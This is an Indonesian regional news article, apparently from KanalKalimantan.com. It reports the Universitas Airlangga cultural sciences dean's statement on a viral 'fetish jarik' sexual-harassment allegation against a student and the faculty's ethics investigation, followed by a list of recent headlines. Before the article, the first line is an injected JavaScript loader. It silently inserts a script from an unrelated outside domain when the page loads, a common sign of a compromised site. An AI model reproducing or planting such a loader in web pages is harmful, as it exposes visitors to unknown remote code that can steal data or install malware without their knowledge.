(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

FIB Unair Angkat Bicara Soal Mahasiswa Pelaku Fetish Jarik, Dekan: Kami Belum Dapat Laporan


KANALKALIMANTAN.COM, SURABAYA – Viral kasus fetish jarik di media sosial Twitter yang disebut dilakukan salah satu mahasiswa, akhirnya membuat Fakultas Ilmu Budaya Universitas Airlangga (FIB Unair) Surabaya angkat bicara. Ini dikarenakan GL yang diduga melakukan aksi fetish jarik ini tercatat merupakan mahasiswa FIB Unair.

Dekan FIB Unair, Prof Diah Ariani Arimbi dalam rilisnya mengatakan, hingga saat ini pihak fakultas belum mendapat adanya laporan dugaan tindakan pelecehan seksual yang beredar di media sosial. Di mana pelakunya diduga merupakan mahasiswa di fakultas itu.

“Bahwa FIB belum pernah sama sekali mendapatkan laporan terkait adanya tindak pidana pelecehan seksual yang diberitakan dilakukan oleh oknum mahasiswa FIB sebagaimana yang beredar di berbagai media sosial,” tutur Diah dalam keterangan tertulisnya, Kamis (30/7/2020).

Namun begitu, pihak fakultas segera merespon informasi adanya dugaan tindakan pelecehan seksual yang diduga dilakukan oleh oknum mahasiswa di FIB Unair. Guna memastikan agar tindakan yang melanggar etika berperilaku di lingkungan kampus dan peraturan perundangan lainnya akan mendapatkan sanksi.

Disamping itu, Diah menambahkan, pihak fakultas berusaha menghubungi diduga oknum mahasiswa berinisial GL tersebut. “Tetapi sampai pernyataan resmi ini disampaikan, yang bersangkutan belum dapat dihubungi. FIB juga telah berusaha menghubungi orangtua mahasiswa yang bersangkutan, tetapi belum dapat terhubung,” imbuh Diah.

Menyikapi informasi dugaan pelecehan seksual yang ramai di jagat Twitter, Diah mengatakan, pihak fakultas melalui Komisi Etik Fakultas sedang melakukan investigasi secara menyeluruh terhadap kasus ini. Diah sendiri menyebut, pihaknya siap bekerja sama dengan semua pihak untuk menyelesaikan masalah ini.

”Fakultas juga menyediakan layanan konseling kepada para korban dan akan terjamin kerahasiannya,” sebut Diah.

Ditambahkannya, terkait dugaan pelecehan seksual dengan alasan penelitian, pihak fakultas memastikan bahwa tidak ada penelitian yang mengarah pada pelecehan seksual atau praktik-praktik yang merendahkan martabat manusia. Pihak fakultas sendiri senantiasa berkomitmen untuk menentang segala praktik kekerasan seksual, fisik, perundungan, baik secara fisik maupun verbal.

“Bahwa saat pernyataan resmi ini disampaikan, proses investigasi sedang berlangsung dan fakultas berkomitmen secara terbuka menginformasikan kepada public perkembangan investigasi atas dugaan pelecehan dan/atau kekerasan seksual ini,” tukas Diah. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell


Desy Arfianty

Recent Posts

Begini Penjelasan Disporabudpar Banjarbaru Soal Perizinan Hotel Aeris

KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More

7 jam ago

Gerilya Politik Lisa Halaby ke Nasdem Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More

7 jam ago

Tim Wasev Cek Langsung Lokasi TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More

8 jam ago

Lutung Tersengat Listrik Dievakuasi Warga, Damkar HSU Amankan Satwa Dilindungi

KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More

8 jam ago

“Pesta Siswa Literasi Digital” di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More

9 jam ago

Kontestasi Pilwali Banjarbaru, Golkar Partai Pertama Incaran Lisa Halaby

Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More

10 jam ago

This website uses cookies.